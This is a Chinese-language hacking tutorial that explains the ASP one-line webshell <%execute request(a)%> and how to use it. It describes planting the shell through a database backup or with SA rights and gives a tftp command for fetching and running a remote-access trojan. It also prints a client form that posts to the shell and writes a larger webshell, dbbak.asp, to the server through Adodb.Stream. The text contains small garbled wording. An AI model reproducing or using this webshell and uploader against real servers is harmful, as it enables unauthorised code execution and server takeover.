一句話木馬插入到asp檔:這個是當然,一句話木馬本身就是asp檔。能夠用IE存取:能存取,我們才可以提交資料..只要能存取的都可以
透過HTTP協定來訪問
一句話木馬的使用範圍(我只列舉了2種):
1)只有資料庫備份的情況
資料庫備份成asp檔時候,不出現編譯錯誤,缺少腳本關閉標誌%>
2)SA權限的時候,一般先寫入一句話,圖個方便..(當然,直接tftp上傳鴿子運行,那更快)
tftp -i ip get server.exe
一句話木馬<%execute request(a)%>的原理:
首先知道
execute()函數,是用來執行asp程式碼的.就是負責執行我們上傳的大馬,將馬交由asp.dll解析.上面的程式碼<%execute request(a)%>可以這樣來解釋:
<%
if request(a)<> then execute request(a)
%>
如果a不為空的時候執行.執行什麼呢?...
if a != 0
下面我們來看看客戶端:
<form action=http://192.168.0.28/shell.asp method=post>
<textarea name=l cols=120 rows=10 width=45>
set lP=server.CreateObject(Adodb.Stream) '建立Adodb.Stream元件..
lP.Open
lP.Type=2
lP.CharSet=gb2312
lP.writetext request(p)
lP.SaveToFile server.mappath(dbbak.asp),2
lP.Close
set lP=nothing
response.redirect dbbak.asp
</textarea>
<textarea name=p cols=120 rows=10 width=45>要提交的資料</textarea><BR><center><br>
<input type=submit value=提交>
Adodb.Stream負責上傳讀取資料到伺服器:
元件:Adodb.Stream
有下列方法:
Cancel 方法
使用方法如下
Object.Cancel
說明:取消執行掛起的非同步Execute 或Open 方法的呼叫。
WriteText 方法
使用方法如下:
Object.Write(Data,[Options])
說明:將指定的文字資料裝入物件中。
參數說明:Data 為指定的要寫入的內容。
Options 寫入的選項,可不指定,可選參數如下:
adWriteChar =0
adWriteLine =1
SaveToFile 方法
使用方法如下:
Object.SaveToFile(FileName,[Options])
說明:將物件的內容寫到FileName指定的檔案中
也就是我們保存木馬的檔名dbbak.asp
參數說明:FileName指定的文件
Options 存取的選項,可不指定,可選參數如下:
adSaveCreateNotExist =1
adSaveCreateOverWrite =2
提交一句話木馬後,a的值為空等待一個寫入的值訪問http://www.***.com/**.asp就是等待的過程如何準備用execute()這個函數來執行.. .
建立一個Adodb.Stream,負責把我們的大馬寫入到伺服器當中...
同時,這個元件定義的變數SaveToFile定義了我們馬來西亞的名字..dbbak.asp
提交到伺服器後execute()函數偵測到a的值不為空了,所以就執行了我們的大馬!